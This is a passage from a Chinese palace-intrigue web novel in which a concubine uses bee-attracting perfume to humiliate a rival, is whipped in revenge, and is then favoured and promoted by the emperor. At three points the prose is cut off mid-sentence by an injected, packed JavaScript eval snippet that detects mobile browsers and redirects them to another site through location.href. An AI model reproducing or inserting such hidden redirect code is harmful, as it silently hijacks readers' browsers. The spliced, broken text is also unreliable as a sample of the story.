沈知微则回到后院,查看天锅里蒸馏的花露,见锅中的水已经见了底,花露也提取的差不多了,便命人将东西都收起来,提取好的花露盛入翁中,密封封存。余下步骤待到明日再做。 待一切处理妥当后,沈知微带着云雁和孔嬷嬷回到半月轩,主仆三人在寝殿内忙忙碌碌,烧水添水,沐浴更衣,沈知微这才卸下一身的疲惫,合目躺在床榻上准备休息。 可是一闭上眼,方才娴贵人那癫狂的身影总是浮现在她的脑海中。沈知微无声地叹了口气,这后宫中人人都想讨好皇上,可是皇上究竟喜欢什么呢。先前她在皇上面前夸下海口,七日内必送上“惊喜”,否则将领取冷宫永久体验卡,如今转眼只剩下六日光景了,该焦虑的分明是她好不好! 若不是这回提炼的是女香,她干脆将香水当“惊喜”送了。可皇上是男人,是九五之尊,女香讨好不了他,寻常礼物更是入不了他的眼。 那送什么呢? 进献才艺?——娴贵人试过了,没有用; 奇珍异宝?——她是个穷鬼,送不起,皇上送她还差不多; 造个现代的物件送皇上?——男人喜欢的东西……手表?汽车?坦克……不行,她是文科生,造不出来。 沈知微躺在床上冥思苦想,先前娴贵人说皇上曾夸赞纯嫔和姚答应合奏的《高山流水》,难道皇上喜欢听人合奏? 不对,娴贵人的琴技不在二人之下,为何偏偏是纯嫔和姚答应拔得头筹?问题定不在琴上。高山流水,知音难觅,难道皇上是欣赏纯嫔和姚答应之间相知相惜、心意相通的纯粹情谊? 所以,寻常的讨好对皇上根本没有用,沈知微脑海中灵光一闪,皇上想要的,是有人真正懂他、爱他、以他为中心? 所以,那时在御花园,她“深爱皇上”的即兴表演是歪打正着,炽热直接的表白直击皇上内心深处的需求,这才没有立刻发落她,反而给了她一次机会? 黑暗之中,沈知微的秀眉紧紧拧作一团,意识到自己的推测有多可怕后,用力摇了摇自己的脑袋。如果说皇上真正想从后妃身上汲取的是“真情”,那她还真给不了。感情的事最为虚妄,看不见摸不着,她怎么做成“惊喜”送给皇上?总不能扑到皇上身上大喊,“BB,我好爱好爱好爱侬”吧。 一想到皇上要给她发的冷宫终身体验卡,沈知微就笑不出来了。为了不进冷宫,就算再丢人,她也要让皇上赤裸、直白的体会她的“情谊”,并且还要附赠一份有新意的礼物承载这份“情谊”,以至于在她“献宝”时皇上不会让御前侍卫把她打死。 沈知微意识已完全清明,躺在床上翻来覆去总算下定了决心,被子一掀,喊起床边值夜的云雁,让她准备笔墨来。 只见沈知微坐在案几前写写画画,从子时写到卯时,天蒙蒙亮时,总算落下了最后一笔。沈知微心满意足地将十几页宣纸依次举起来欣赏,心知这关乎她的身家性命,心中激动又忐忑。 恰逢孔嬷嬷进来取净器,看到沈知微已经醒了,还穿着寝衣坐在案几前,瞪大了眼睛以为自己还没睡醒。 沈知微看到孔嬷嬷,放下手中的宣纸,“嬷嬷,你来的正好。这些是我新画的图纸,像之前一样,你从库房中挑出几样值钱的东西变卖,找个木匠师傅,将图纸上的物件一比一复原出来。时间紧迫,六日内我就要看到。” 孔嬷嬷刚才惊讶中回过神来,听到沈知微的指示,嘴唇颤了颤,艰难地开口道:“小主,先前为了做蒸馏器和香水瓶,库房里值钱的东西已经卖了一半了。如今若是再卖,怕是一件都不剩了。” 孔嬷嬷面上浮现出挥散不去的愁绪,“月例还有十日才发放,小主可否再等等?” 沈知微心道她等不了十日,若是什么都不做十日后她就要搬去冷宫了。可如今库银吃紧,总不能让半月轩上下喝西北风。沈知微垂眸思索着,起身绕过桌案走到梳妆台前,从小匣中拿起一支金累丝珍珠簪子,转身交到孔嬷嬷手中。 “我并非不知嬷嬷的难处,这支簪子请嬷嬷一同拿去变卖,用于宫中开销。”沈知微将簪子放入孔嬷嬷的手中,神情严肃,“嬷嬷,你是了解我的,若非到了万不得已的地步,我绝不会铤而走险。可这回实在是情况紧急,图纸上的东西若是做不出来,我、我们,就全完了。” 孔嬷嬷心脏一紧,联想到昨日娴贵人叫小主过去听训,以为娴贵人又在逼迫小主做什么;加上沈知微一脸认真,表情绝不像开玩笑的,这下不敢再耽搁,拿着簪子和图纸火急火燎地出了门。 沈知微面上波澜不惊,可脑海中却始终绷紧了一根弦。她堵上身家性命制作的这两样东西,香水是为了售卖挣钱,“惊喜”是为了讨好皇上,若是都能成,今后她便可彻底翻身;若是成一个,她也有活路;若是都不成……不,她决不允许她的计划失败,决不。 午憩过后,通宵不眠所带来的眩晕感勉强消散了些。沈知微起床后进了一碗红枣圆子羹,而后在云雁的搀扶下来到后院。 中午孔嬷嬷回来时,带回了一个香水瓶的样品,由于短时间内烧制来不及,这个是用旧鼻烟玉壶改造的,让沈知微看看大小和样式是否合适。 沈知微将花露分装到玉壶中,喷在衣袖上,随着步伐移动让香味挥发。 正好柔答应来了,沈知微将花露同样喷在她身上,二人试的不亦乐乎,后院充盈着沁人的芳香,偶尔有几只蝴蝶环绕飞舞。 柔答应在空地上转了好几圈,伸出手让蝴蝶停在手指上,激动地对沈知微说道:“姐姐,这个‘香水’我好喜欢,还能吸引蝴蝶呢。不知姐姐能否送我一瓶,若是回去后香味散了,我还能再补上。” 沈知微本就不是小气的人,更何况花露的原料还是柔答应提供的,于是干脆利落地将手中的玉壶交到柔答应手上,“喜欢就拿去,你是没看见,昨日提取了满满一大翁花露呢。只是现在香水还未完全做好,待做好后,我再送你几瓶真正的香水。” 柔答应接过玉壶,笑得眉眼弯弯,“那就多谢姐姐了!” 突然手心一空,手中的香水瓶转瞬间被人抽走。 “什么好东西,让你这般看得起她,你还知道闲月宫谁是你真正的主子吗?!”娴贵人凌厉的声音在背后乍响,如同冰冷的毒蛇爬过柔答应的脊背,一路向上攀沿,直至缠住脖颈,让人喘不过气。 柔答应猛地转过身,对上娴贵人阴鸷的视线,猝不及防地退后到沈知微身边,呆立了片刻后,和沈知微一同向娴贵人福礼。 娴贵人从青雀手中接过玉壶,放在手中细细端详打量。眼皮脩然一抬,目光死死地盯着跪在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈知微直起身子,依旧没有看娴贵人的眼睛,沉稳地回道:“目前制成的‘香水’,只是香水的初级阶段,即从鲜花中提取的花露。花露虽然也有香味,但缺点是香气亦散,留香时间短。像贵人手中的这一小瓶花露,怕是一个时辰就用完了。若想达到持久留香的效果,还需加入酒醇调制,再通过陈化、过滤等步骤,才能得到真正的香水。” 娴贵人刚开始听得还煞有兴趣,可越听到后面脸色越难看,最后彻底不耐烦:“你只需告诉我,到底什么时候能做成。我可没多少耐心,瑶池宴只剩六日,不管你用什么方法,这香水我在瑶池宴上必须用到。” 沈知微颔首不言,良久后,才故作为难地开口:“制香工艺复杂繁琐,臣妾只能尽力一试。” 娴贵人眉眼上挑,讥讽地笑了出声,“你若是缺人缺银子,自可以来找我,我都能满足你。只有一点,六日内我必须要看到制作完好的香水,不要让我再重复第三遍。” 说完,娴贵人脸上的笑意一敛,抬手指向云雁,“听闻你在宫中并无亲友,唯与这个侍女格外亲近,走哪都带着。这几日有劳你制香,这个侍女我就带回去替你照顾了。” 她上前一步,拍了拍沈知微的脸,低声道:“放心,香若是制的好,我不但将你的侍女完璧归赵,还会额外嘉奖你;但若制的不好——本宫会让你体会到,什么叫做生不如死。” 云雁像只小兔子般被青雀捏住后脖颈,颤抖地看向沈知微。 沈知微故作纠结,纠结过后,只得低眉顺从,“臣妾领命。六日后,臣妾定将香水献给贵人。” 娴贵人得意地点了点头,带着一行人离开了后院。 沈知微看着娴贵人嚣张地背影,眸色一沉。心道: 六日后,真正会生不如死的人,是你。 9. 报仇 六日后,新月殿。 娴贵人换上了一件苏绣月华锦衫,搭配锻地绣花百褶裙,阳光洒在裙摆上,散发出粼粼的波光,衬得整个人雍容尔雅,明艳动人。 “好看吗?“娴贵人拂过鬓边的金累丝点翠珊瑚挑牌,虽是发问却未分给身边人一个眼神。 沈知微恭敬地侍在一侧,眉眼淡淡,“好看。” 娴贵人露出了一个满意的笑容。她对自己的容貌一向有信心,她需要的不是沈知微的认同,而是沈知微的服从。 娴贵人高傲地抬起手,沈知微会意,将制好的香水放在她的掌心中,“贵人,香水制作匆忙,留香时间大约只有一刻钟,还请贵人于献舞开始前再使用。” “知道了。”娴贵人款款走出殿门,好似想起了什么,嘴角勾起轻蔑的一笑,“这可是本宫给你机会,让你做的东西有机会在皇上面前展现,否则像你这样的位分,就算做出花来,皇上也不会多看你一眼。” 沈知微低眉敛目,唯唯应是。一直恭送娴贵人走出闲月宫的大门,这才抬起头来,清婉的面容上如同覆了一层冰霜。 “小主,之前不是说香水至少要陈化一个月吗,如今才短短几日,怎会……”孔嬷嬷见四下无人,悄声问沈知微。 沈知微转身往回走,目光凛冽,“放心,香味只浓不淡,一定让娴贵人在宴饮上出尽风头,这辈子想忘都忘不掉。” 待回到半月轩,沈知微示意孔嬷嬷将门关上,“东西都做好了吗?” 孔嬷嬷毕恭毕敬,“回禀小主,都做好了,现下锁在库房内。小主可要检查一番?” 沈知微点了点头,面上波澜不惊,可宽大的衣袖中,冰凉的手指却紧紧攥住了手帕。 瑶池是紧挨着御花园和内金水河的一处富丽宫殿。碧水环绕流过,倒影出瑶池殿内雕梁画柱,琼宇瑶阶。兽耳铜香炉置于殿中,缭绕着阵阵幽香。 殿内,主位上的两个席位都是空的,荣妃娘娘坐在下首位上,在一众妃嫔和贵眷的簇拥下喜笑晏晏。 坐在斜对侧的贞嫔看到这情形,用手帕遮住嘴型,悄悄问身边的纯嫔,“妹妹,你常去皇后宫中走动,可知皇后娘娘为何未至?是风疾还未痊愈吗?” 纯嫔抬眼看向荣妃,见无人注意到她们这边,这才皱眉嗔道:“姐姐可别折煞我了,现在谁还敢去皇后宫,这不明摆着得罪荣妃吗。只知皇后推说身体不适,不来赴宴了。” 贞嫔见她推脱的这么快,意味深长地笑了笑,“也是,皇后到底是六宫之主,哪能眼睁睁看着别人出风头呢。” “听闻荣妃除了这次设宴款待宫妃外,之前还在宫中接见了礼亲王福晋,摆明了要跟皇后打擂台呢。”纯嫔用手指了指天,“她这般出风头,说到底不就是皇上默许的吗?” “妹妹慎言!”贞嫔见纯嫔这个没脑子的,聊八卦都能聊到皇上身上去,赶忙出声打断他。 一声洪亮的“皇上驾到”,立刻让殿内所有人都噤了声。嫔妃各归各位。荣妃款款站起身,带领众嫔妃一同向皇上行礼问安。 桓宸发表了简短的致辞,示意众嫔妃落座。在一切繁文缛节过后,荣妃适时递给身后侍女一个眼神,丝竹管弦声起,宫女太监们鱼贯而出,给皇上和各宫妃陆续上茶点和美酒佳肴。 宴席过半,各嫔妃的才艺比拼正式开始。元妃作诗,贞嫔抚琴,海贵人唱曲…… 见氛围逐渐火热起来,荣妃适时捧起一杯酒,唇角勾出一个漂亮的弧度,“皇上,娴贵人妹妹舞姿出众,精心准备了一个舞蹈想要献给皇上,请皇上赏鉴。” 桓宸不动声色,只吐出一个字:“可。” 荣妃坐回到座位上,随着众人的目光一同看向入口处。新的音乐响起,娴贵人身穿赤锦襄珠拂霓裳,头戴珍珠八宝发冠,从门外翩翩而来,而后在殿中央站定。鼓点声起,娴贵人广袖一甩,随着音律翩然舞动。音乐丝柔,美人身姿曼妙,观赏者不禁沉迷其中,如痴如醉。 海贵人赞叹:“不愧是娴贵人,风范不减当年啊。” 康嫔不轻不重地“哼”了一声,“娴贵人的身段看起来圆润了不少,跟南府的舞伎比还是差些。” 贞嫔吸了吸鼻子,一脸惊奇,“你们闻到了吗?好香啊!是这瑶池换了新的香料了吗?” 元妃轻摇着手中的团扇,目光灼灼,“妹妹糊涂了吧,这香味刚才还没有呢。我闻着像是娴贵人身上散发出来的……” 纯嫔用力嗅了嗅,突然惊声:“真的!真的是娴贵人身上的香味!像真的花香一样!你们看,娴贵人的裙摆上还有一只蝴蝶,一定是被这香味吸引过来的!” 此言一出,原本的讨论声突然安静了下来,众妃神情复杂地看向娴贵人。这无数道投射在娴贵人身上的眼神中,有好奇,有探寻,有嫉妒,有羡慕,有阴沉…… 随着娴贵人的舞动,身上所聚集的蝴蝶越来越多。香味飘向上位,荣妃依旧端庄地笑着,可笑意不达眼底,若是仔细观察会发现,她端着酒杯的手半响没有动过。桓宸看这与蝶共舞原本还觉得新鲜,可当这香味传来时,却发现了不对劲。 太像了…… 桓宸从小对气味敏感,这香味传来时,他一下子便想起,先前闻到过这种味道。 御花园,那个胆大包天的答应,身上分明是这种香味! 桓宸微眯着眼,脑海中不自觉浮现出上次这种香味萦绕在鼻尖时的画面,那个小答应跪在他的脚边,眼角泛红,娇俏美丽的面庞故作一副楚楚可怜的模样,求他再给她一次机会…… 桓宸感觉仿佛心被揪了一下,转瞬间皱起了眉头,想要用情绪按压住这不该有的悸动。 可是香味越发浓烈,桓宸的不耐渐渐隐藏不住,眼眸愈发深沉,大有风雨欲来的架势。 荣妃惯会察言观色,发觉皇上似有不喜,立刻回头示意侍女让乐师先停下。可话还未说出口,纯嫔尖锐的嗓音打破了宴会原本的安宁祥和。 “啊——” “蜜蜂!好多蜜蜂!” 一时石破天惊,吸引了所有人的目光。殿内霎时乱做一团,娴贵人附近两侧的妃嫔虽然不敢擅自离席,但也都以帕掩面,生怕蜜蜂往自己身上扑。 稍远处的妃嫔勉强维持着端庄,但看到几十上百只的蜜蜂围着一人转,也都吓得脸色苍白。 “这怕是整个宫中的蜜蜂都飞过来了吧?”有嫔妃怯生生地发问,却没有人回答。 宫殿中央,娴贵人在蜂群缠上她的那一刻就已停下了舞步,早顾不上举止优不优美,仪态高不高贵,双手胡乱挥舞着,一遍叫喊一边拼命驱赶身上的蜜蜂。不一会儿,裸露在外的皮肤肉眼可见的被蜇了几个毒包。 桓宸坐在高位上,冷眼看着台下的这场闹剧,眉头紧蹙。待最后一点耐心耗尽,他瞥了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374557|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼荣妃,气呼呼地拂袖离去。 “皇上……”荣妃声音戚戚,目光追随着桓宸的背影,那张艳丽张扬的面庞少见地出现了一丝难堪和慌乱。待那道触不可及地背影完全消失后,荣妃慌乱的面容转眼变得狠厉,瞪着殿中的始作俑者。 “来人!还不快去把她拽住,收拾好了带来见我!”荣妃广袖一甩,转身离开。 殿内鸦雀无声,只余娴贵人凄厉绝望的呼救。 回三省殿的路上,桓宸高坐御辇之上,一言不发。 太监总管何忠顺忍不住偷偷窥视皇上的脸色,看了一眼又一眼,心中连道不好:看来这回皇上是生了大气了。 这娴贵人,献舞就献舞,引什么蝴蝶呀!这下好了,蝴蝶没引来,惹来一堆麻烦,连累他们也没好日子过。 也不知皇上的气什么时候能消,他这些日子,又得提心吊胆了。 “何忠顺。”头顶突然传来桓宸凛冽的声音:“娴贵人宫中可还住有其他人?” 何忠顺突然被叫到,心提到了嗓子眼。虽不知道皇上为何突然问及此,但还是思虑着开口:“娴贵人宫里……闲月宫,除娴贵人外,还住有沈答应和柔答应。” 桓宸的脸色更冷了一分,“上回御花园里的那个小答应,是哪一个?” 何忠顺本想着,皇上您一向是个清心寡欲的批奏折狂魔,何时在御花园召见过小答应。正支吾之际,突然脑海中电光火石,想起上回皇上在御花园静庭轩小憩,有一个小答应私摘园中花卉,说是要做成礼物献给皇上。 何忠顺当时对沈答应行事并未在意,毕竟这后宫中想要讨皇上欢心的女人多的是。可如今出了娴贵人这档子事,就不得不猜测沈答应的动机了:当初沈答应可是从御花园采走了大量的香雪兰!而香雪兰气味独特,若是加工得当,是能引来大量蜜蜂的! 若非……若非沈答应是想陷害娴贵人,被他抓个正着后,还拿皇上当挡箭牌?! 何忠顺惊觉其中疑点颇多,惊恐地抬眸回禀皇上:“沈答应……” 桓宸轻“呵”了一声,唇角似笑非笑,每说一个字声音便更冷一分。 “心悦于朕?” “……” “借花传情?” “……” “为朕准备惊喜?” 何忠顺的脑袋越垂越低,生怕皇上一个动怒便牵连到他身上。 桓宸看向远方,刀削斧琢的面庞如同覆了一层严霜冰雪。 一想到当初小答应不过是落了几滴泪,扮了几分可怜,又热烈直白地说爱他,他身为天子竟然信了,桓宸便气得脸颊微微泛红,恨不得将人拎到眼前狠狠教训一顿。 可该找个什么由头呢? 陷害娴贵人一事并无证据,就算有,这属于嫔妃间的争端,交给荣妃处理就是了,没必要他亲自过问。 若是其他理由…… “何忠顺,”桓宸侧过头,“今日是第几日了?” 何忠顺听见皇上这样问,一下子就想到是皇上当初给沈答应的七日之限,掐指一算,“回禀皇上,正好是第七日。” 桓宸冷“哼”了一声,心想他要亲自去一趟,打她个措手不及,看看那个小答应到底拿了他的花去做什么了,到底是不是在骗他……若是,他一定将那个小答应打入冷宫,这辈子都不放出来。 桓宸扬了扬手,“去闲月宫。” 10. 再遇 “报——” 御辇还未走远,三省殿的值守太监疾跑着追了过来,在御辇右侧靠后的位置停下,呈上一封八百里加急的密报。 “皇上,颜廷玉大人送来一封扬州密报,说有要事要与皇上商议,先下正在三省殿等候。” 何忠顺用只有自己能听到的声音“嘶”了一声,看向闲月宫的方向,又看了眼急报,请示道:“皇上,您看这……” 桓宸三两下拆开了信封,眼睫微垂着,看不出情绪。空气中安静的出奇,只有纸张翻动的哗啦声。没多久,桓宸将信纸一折,摆了摆手。 “回三省殿。” 原本波动的情绪被压下了心头,取而代之的是面对政事时的沉着和严肃。 三省殿内,内阁大学士颜廷玉奏对:“今晨接到密报,两淮盐政使苏青麟大人预提了戊子年的盐引,要求各商每引缴纳二两银子,共计十三万八千两纹银。可是苏大人并未将这笔收入上报,户部档案也并无相关记录。” 桓宸坐在办公桌后面,不怒自威,“两淮盐政历来有诸多私敝,如今大笔款项不知所踪,想来是被人私自支用了。” 颜廷玉道:“密报上还说,苏大人在扬州花费三万两纹银购买古玩玉器,侵占千亩良田修建宅院,导致苦主求告无门愤而投江。还有人亲眼目睹,苏青麟醉酒后戏言,称自己为扬州王……” “皇上,”颜廷玉拱了拱手,肃穆道:“盐敝一日不清,扬州一日不宁。若任由苏青鳞这般行事,恐怕会寒了百姓的心,也有损天家颜面。还往皇上派得力人选赴扬州探查。” 桓宸眼眸黝黑,沉声道:“爱卿可有人选?” “臣以为,左副都御史阮密可用。” 桓宸眉眼一挑看向颜廷玉,屈指扣了下桌子,“苏青麟是皇后堂兄,阮密是荣妃父亲,让阮氏去查苏氏,这样一来,荣妃岂不是愈发得意了。” 桓宸微眯着眼,想起了适才瑶池宴上的闹剧,心里对荣妃多少有些不满。再加上皇后到底还是中宫,宴会上众嫔妃却对荣妃马首是瞻,这让桓宸多少有些疑虑,思考他对皇后是否过于严苛了。 前朝后宫关联不断,一旦派阮密前去江淮寻盐,荣妃在后宫怕是愈发春风得意,再做出比今日更过分的荒唐事也未可知;可若是派旁人去,苏家在朝中根深蒂固,旁人哪敢向阮氏这般磨刀霍霍。 “皇上若是有顾虑……”桓宸迟迟不决,颜廷玉揣度圣意,思索是否要换个人选。 桓宸出言打断,“罢了。传旨,盐引一案,令左副都御史阮密前往扬州细查,江苏巡抚协同,务必深入详尽,尽早找出这些蛀虫,追回未报银钱。予阮密便宜行事之权,若是发现有瞒报侵吞之官员,原地革职,解赴回京,交由刑部严审。” “臣遵旨。” 颜廷玉走后,桓宸传来户部侍郎详询,又处理了几件吏部、工部上报的琐事,一转眼,已经到戊时。 晚膳早已备好,桓宸用过后,总觉得今日有何事忘了。直到敬事房拿着绿头牌过来,桓宸才想起他还没去找那个小答应要“说法”。 “上面怎么没有沈答应的牌子?”桓宸侧身倚在龙椅扶手上,颇为松弛。 何忠顺在一旁听着,眉心不由得跳动了一下:皇上这几日未免对沈答应过于上心了些,难不成…… 敬事房的小太监却是冒出了一身冷汗,沈答应原本病着,本来就没她的牌子,前几日虽然报了康复,可到底位卑人轻,没人把她当回事。这不,一忙起来,就将重挂沈答应绿头牌的事给忙忘了。 可回禀皇上自然不能这么说。小太监咽了咽口水,答道:“回禀皇上,沈答应前些日子病着,绿头牌给撤下来了。” 桓宸挑了下眉,口中喃喃,“病了啊……”桓宸又想起那日御花园里的沈知微,那张漂亮灵动的脸上是有些发白,像只雪兔子一样。 桓宸羞赧地笑了笑,他不知怎么了,当时见面时还不觉得有什么,只觉得那个小答应胆大包天,他得给她个教训,可后来分开七日,或许是沈答应容颜姣好,再加上性格跳脱,越想越觉得心痒难耐,尤其是他们还有个七日之约,让他不自觉期待起来。 桓宸不再犹豫,站起身往外走,“去闲月宫。” 身后何忠顺和敬事房小太监愣在原地,互相瞪大了眼。何忠顺算是反应快的,三步并作两步跟了上去,高声传驾。 皇宫里的夜晚格外漆黑寒凉,唯有明月和繁星在夜空中高悬。 桓宸心情不错,高坐在步辇上,一路吹着徐徐的晚风,在脑海中勾勒出小答应的容貌。他有种隐隐的预感,小答应一定会给他一份绝妙的“惊喜”,值得他原谅她在御花园情急之下的蒙骗。甚至他此时玩心大起,想看看自己若是突然出现在小答应的眼前,她会是什么模样。 步辇停在闲月宫门口,守门的侍卫险些惊呼,被桓宸一个眼神示意噤声。 桓宸下了步辇,信步走进闲月宫的大门。还未走几步,便听见后院传来女人尖锐的咒骂声。 是娴贵人的声音。 桓宸厌恶地皱起眉,无论是娴贵人在宴会上不成体统,还是此时这些恶毒的咒骂,都令他感到无比厌烦。他没想到娴贵人品性如此低劣,不知悔改不说,回宫后竟然还拿宫人撒气。 桓宸给了一个眼神,示意何忠顺前去制止;身后的侍卫迅速在桓宸周围护成一圈,并把控住闲月宫各出入口,手扶刀柄严阵以待。 桓宸站在原地,离后院不远不近的位置。身侧有两个偏殿,桓宸抬首看了眼牌匾,半月轩和弦月阁,心中猜想着小答应住的是哪一间。奇怪的是,两间灯都亮着,可门口均无人值守。 桓宸心中腹诽:这闲月宫,多少是有些没规矩了。 那边何忠顺走到后院,看到院中的景象,一时目眦欲裂,连头都觉得有些晕眩,不禁扶额叹道:“娴贵人,你……你好大的胆子!” 桓宸原本就眼皮直跳,现下心中一沉,冷着脸,疾步往后院的方向走去。 众人见他进到院中,难掩震惊和惶恐,迅速跪成一片。有些胆小的宫人,浑身颤抖地伏在地上,丝毫不敢抬头看皇上震怒的模样。 桓宸冷眼扫过院中,只见他的小答应倒在地上,几次想撑着胳膊直起腰来,都未能如愿。他瞥了眼离沈答应最近的娴贵人,视线落在娴贵人手边的鞭子上。 桓宸深吸一口气,声音低沉,“你们谁来说?” 空气中安静了片刻,在桓宸的耐心即将耗尽之时,一道怯生生的声音响起。 是柔答应。 桓宸打眼看向她,见她身上也有伤,只是没有沈答应的严重。 “臣妾答应柔氏回禀皇上,”柔答应磕头行礼,一五一十地诉说:“今日娴贵人从瑶池宴上回来,便令听命于她的宫人将臣妾和沈答应押到后院,不分青红皂白说我和姐姐陷害于她,还……还……”柔答应抽泣了几声,“还用鞭子抽打我和姐姐!” “姐姐理论了几句,抓住鞭子不让娴贵人打,娴贵人反而变本加厉,私自用鞭刑,还让王兴德和李嬷嬷两个奴才押住我们,让我们不得反抗。姐姐为了护我,挡在我身前,硬生生被打成这幅模样。” 柔答应越说越激动,“娴贵人素来跋扈,先前就害得姐姐风寒侵体险些丧命,如今又是这般作态,姐姐和我饱受其害苦不堪言,求皇上做主!臣妾所言若有半句虚假,臣妾愿遭天谴,不得好死!”说罢,将头重重地磕在地上,似乎要磕出血来。 “你胡说!”娴贵人颤抖地咆哮,跪在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桓宸盯着沈知微的眼眸,神情复杂,下一秒,粗暴地吻在沈知微的嘴唇上,舌头在口腔内肆意地探寻游走。直到沈知微脸都红了,伸手想要推开桓宸,谁知像是惹怒了他一般,愈发加深了这个吻。 待二人都有些喘不过气,桓宸这才放开她,轻轻托住沈知微的脸颊,注视着她的眼睛,双眸中包含深情,“朕很想你。” 一边诉说着,一边亲吻着沈知微白皙的、没有受过伤的肌肤,“不是说好给朕惊喜的吗?” 亲吻从脸颊延伸到脖颈,二人贴在一起,肌肤灼热而躁动。 “不是说喜欢朕的吗?” 沈知微脸红红的,答应也不是,反驳也不是,只能任由桓宸亲吻着。颈间不时传来的刺痛清晰地提醒她现在不是梦。 直到桓宸缠绵地结束最后一个细碎的吻,从脖颈间抬起头来。他叹了一口气,似乎下定了某种决心般。 “言出即行,朕帮你上药。” 沈知微攥着胸口的衣襟,心想她的伤除了脸颊上的一道,其他主要分布在背部和双臂上,若是让桓宸帮忙上药,岂不是要脱衣服…… 沈知微朝桓宸眨了眨眼睛,“真的只是上药?” 桓宸眉眼弯弯,笑得很无辜,“那你还想干什么?” 他虽然想,但他不是变态,实在不忍心在这种情形下让沈知微难受。 沈知微小声道:“让云雁来帮我上药也可以的。” 桓宸似乎猜到她在想什么,亲吻着沈知微通红的耳垂,轻声道:“迟早会看见的。” “……” “你脱还是我脱?” 11. 礼物 第二天晌午,沈知微趴在床榻上,后背上的鞭痕稍微动一下就会裂开,疼得她牙关发颤。 云雁端了盆水进来,笑盈盈地,“小主活动不便,奴婢给您擦擦身体吧。” “皇上对小主可真好,早上是亲自给小主上完药后才去早朝的。再加上昨晚……”她咳咳两声,眉宇间灿若桃花,“小主苦尽甘来,奴婢真心为小主高兴!” 沈知微瞪大眼看向她,而后羞赧地将头埋在枕头里,“不是你想象的那样……” 云雁“哎”了一声,放出更加重磅的消息,“小主,昨夜之事已传遍合宫,皇上为了小主严惩娴贵人,还留在半月轩陪伴小主,不知道宫中有多少人羡慕小主呢。” 沈知微眼前一黑。她甚至在脑海中想象出了宫中是怎样添油加醋地传播昨日之事的。但其实只有她和皇上知道,她并没有侍寝。昨天…… 沈知微支起脑袋,仔细回忆了一番。昨天桓宸为她上药,原本一切还是正常的。可上着上着他们好像又亲到一起去了,后来沈知微因为白日里受了惊,体力支撑不住,倒在桓宸的怀里睡着了。 至于桓宸嘛……早上看他并无异常,应该是没有生气吧。 沈知微“害”了一声,轻轻敲了敲脑袋,心道管他有没有生气,她伤成这样桓宸还要占她便宜,她还没生气呢! 沈知微回想着昨日的情形,脸颊浮现一层绯红,总觉得桓宸好像对她所说的“礼物”有误解,否则怎会用那样的目光看她呢。 好奇、缱倦、还有些渴望……恨不得要吃了她似的。 沈知微慵懒地趴在枕头上,一个她从前一直试图回避的问题冒上心头:她是皇上的妃嫔,就像其他妃嫔一样,将来注定会和桓宸有身心的交流,这事沈知微是有心理准备的。可如今真到这一天,沈知微有些拿不准了,她不知道桓宸心里在想什么,也分不清楚自己对桓宸到底是何情谊,总不能稀里糊涂地就…… 沈知微脑海一团乱麻,一个微妙的想法浮现:她要不要试着喜欢桓宸? 毕竟这个对象有很多优点啊。高大、帅气、身材好、财富惊人、坐拥天下、唯我独尊、还能救她于水火。 可是桓宸也有很多缺点,比如他有很多女人、对待不喜欢的女人挺无情的、曾经还拿打入冷宫威胁过她,这种小命攥在别人手里的感觉真的很没有安全感。 沈知微沉重地叹了口气,想不出个所以然来。便闭上眼睛小憩,任由云雁为她擦拭身体。 片刻过后,门外传来一阵骚动。 云雁服侍沈知微穿戴好后去开了门,只见何忠顺带领一众太监在半月轩门口等候。 何忠顺向沈知微行了礼,“沈小主,皇上有旨。” 沈知微一怔,带领宫人接旨。 “奉天承运,皇帝诏曰:答应沈氏温婉恭顺,性情纯善。入宫以来,克尽本分,敬慎自持,朕心甚悦。今特晋其为常在,以彰其德,钦此。” 沈知微惊讶地抬起头,竟愣了一瞬,回过神后浅笑晏晏,“臣妾谢主隆恩。” “恭喜沈常在。”何忠顺将圣旨对叠,交在沈知微手上,侧身让出身后,“皇上还赐了白银百两,珍珠一斛,玉镯一对,彩瓶一对,玉碗一盏,红玛瑙一串、如意一对、绸缎一匹、金钏步摇一支、燕支一盒、香粉一匣、眉黛一斛。小主,这是单子,您可收好了。” 沈知微看着内侍们拿着一水的托盘往寝殿中送,面上虽然不显,心中却是雀跃万分。送走何忠顺后,欣悦之情更是藏都藏不住,连脚步都轻快了起来。 “小主,您慢点儿,小心伤口。”云雁上前扶住沈知微,孔嬷嬷侍奉在另一侧。 三人一进屋,云雁和孔嬷嬷便迫不及待地向沈知微道喜,沈知微唇角一直上扬着,各拿了几锭银子和一捧珍珠分给她们。沈知微心里明白,这些日子云雁和孔嬷嬷和她一起提心吊胆,如今到了收获的时候,自然不会少了她们的。 又让云雁拿几锭银子,分给闲月宫内当值的其他侍卫、宫人。昨日皇上处置了王兴德、李嬷嬷之流,如今剩下的,都是认真做事之人。沈知微明白闲月宫上下荣辱一体的道理,如今得了好处,自然不会亏待宫人。 这些做完,沈知微这才闲下心来,仔细把玩着皇上赏赐之物。 沈知微将那只并蒂莲纹玉镯待在腕上,羊脂玉温润细腻,让人爱不释手。沈知微指腹拂过上面的纹路,心中有些忐忑。 原来皇上的喜欢,是可以换成实实在在的好处的。 她臣服于皇上,本是为保住性命,若是能有额外收获,何乐而不为呢? 已经在这深宫里了,默默无闻是一种活法,步步高升、掌握财富与权势也是一种活法,沈知微想要的,绝不会是前者。 